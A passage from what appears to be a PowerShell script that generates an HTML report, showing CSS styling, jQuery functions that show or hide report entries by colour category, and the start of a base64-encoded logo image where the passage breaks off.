rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\r\n                border: 2px solid #00ff15;\r\n                color: #00ff15;\r\n                transition-duration: 0.4s;\r\n                background: rgb(300, 300, 300);\r\n            }\r\n\r\n            body{\r\n                background-color: #91ff96\r\n            }\r\n\r\n        </style>\r\n    </head>\r\n\r\n\"@\r\n\r\n$HTML_END = @\"\r\n<script>\r\n\r\n            `$(document).ready(() => {\r\n                `$('.btn_show_all').click(function() {\r\n                    show_all();\r\n                });\r\n                `$('.btn_hide_all').click(function() {\r\n                    hide_all();\r\n                });\r\n                `$('.btn_redyellow').click(function() {\r\n                    only_redyellow();\r\n                });\r\n                `$('.btn_red_redyellow').click(function() {\r\n                    only_red_redyellow();\r\n                });\r\n                `$('.btn_restore').click(function() {\r\n                    restore();\r\n                });\r\n            });\r\n            function show_all(){\r\n                `$('.collapse').show();\r\n            }\r\n            function hide_all(){\r\n                `$('.collapse').hide();\r\n            }\r\n            function only_redyellow(){\r\n                `$('.red').hide();\r\n                `$('.light_grey').hide();\r\n                `$('.blue').hide();\r\n                `$('.green').hide();\r\n                `$('.magenta').hide();\r\n                `$('.yellow').hide();\r\n                `$('.darkgrey').hide();\r\n                `$('.cyan').hide();\r\n                `$('.no_color').hide();\r\n                `$('.redyellow').show();\r\n            }\r\n\r\n            function only_red_redyellow(){\r\n\r\n                `$('.light_grey').hide();\r\n                `$('.blue').hide();\r\n                `$('.green').hide();\r\n                `$('.magenta').hide();\r\n                `$('.yellow').hide();\r\n                `$('.darkgrey').hide();\r\n                `$('.cyan').hide();\r\n                `$('.no_color').hide();\r\n                `$('.red').show();\r\n                `$('.redyellow').show();\r\n            }\r\n\r\n            function restore(){\r\n\r\n                `$('.light_grey').show();\r\n                `$('.blue').show();\r\n                `$('.green').show();\r\n                `$('.magenta').show();\r\n                `$('.yellow').show();\r\n                `$('.darkgrey').show();\r\n                `$('.cyan').show();\r\n                `$('.no_color').show();\r\n                `$('.red').show();\r\n                `$('.redyellow').show();\r\n            }\r\n        </script>\r\n    </body>\r\n</html>\r\n\"@\r\n\r\n$HTML_INIT_BODY = @\"\r\n<body>\r\n        <img src=\"data:image/png;base64,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